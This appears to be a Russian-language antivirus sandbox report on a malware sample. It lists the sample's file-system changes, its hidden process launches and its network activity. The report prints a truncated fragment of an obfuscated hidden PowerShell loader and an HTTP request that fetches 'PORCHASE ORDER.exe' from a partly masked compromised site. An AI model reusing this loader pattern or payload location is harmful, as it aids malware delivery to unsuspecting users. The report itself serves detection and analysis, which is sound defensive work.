Техническая информация
Вредоносные функции
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden function z336a5d { param($fca1de7) $aadad = 'r9f2a';$k9a488e = ''; for ($i = 0; $i -lt $fca1de7.length; $i+=2) { $c57e3 = [convert]::ToByte($fca1de7.Substring($i, 2), ...
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\elm6ew5q.0.cs
- %TEMP%\elm6ew5q.cmdline
- %TEMP%\elm6ew5q.out
- %TEMP%\csc9ece.tmp
- %TEMP%\res9efd.tmp
- %TEMP%\elm6ew5q.dll
- %APPDATA%\v72416.exe
Удаляет следующие файлы
- %TEMP%\res9efd.tmp
- %TEMP%\csc9ece.tmp
- %TEMP%\elm6ew5q.dll
- %TEMP%\elm6ew5q.cmdline
- %TEMP%\elm6ew5q.pdb
- %TEMP%\elm6ew5q.out
- %TEMP%\elm6ew5q.0.cs
Сетевая активность
Подключается к
- 'in######erveceros.com.co':80
TCP
Запросы HTTP GET
- http://www.in######erveceros.com.co/wp-admin/network/PORCHASE%20ORDER.exe
UDP
- DNS ASK in######erveceros.com.co
Другое
Создает и запускает на исполнение
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\elm6ew5q.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES9EFD.tmp" "%TEMP%\CSC9ECE.tmp"' (со скрытым окном)
Запускает на исполнение
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\elm6ew5q.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES9EFD.tmp" "%TEMP%\CSC9ECE.tmp"
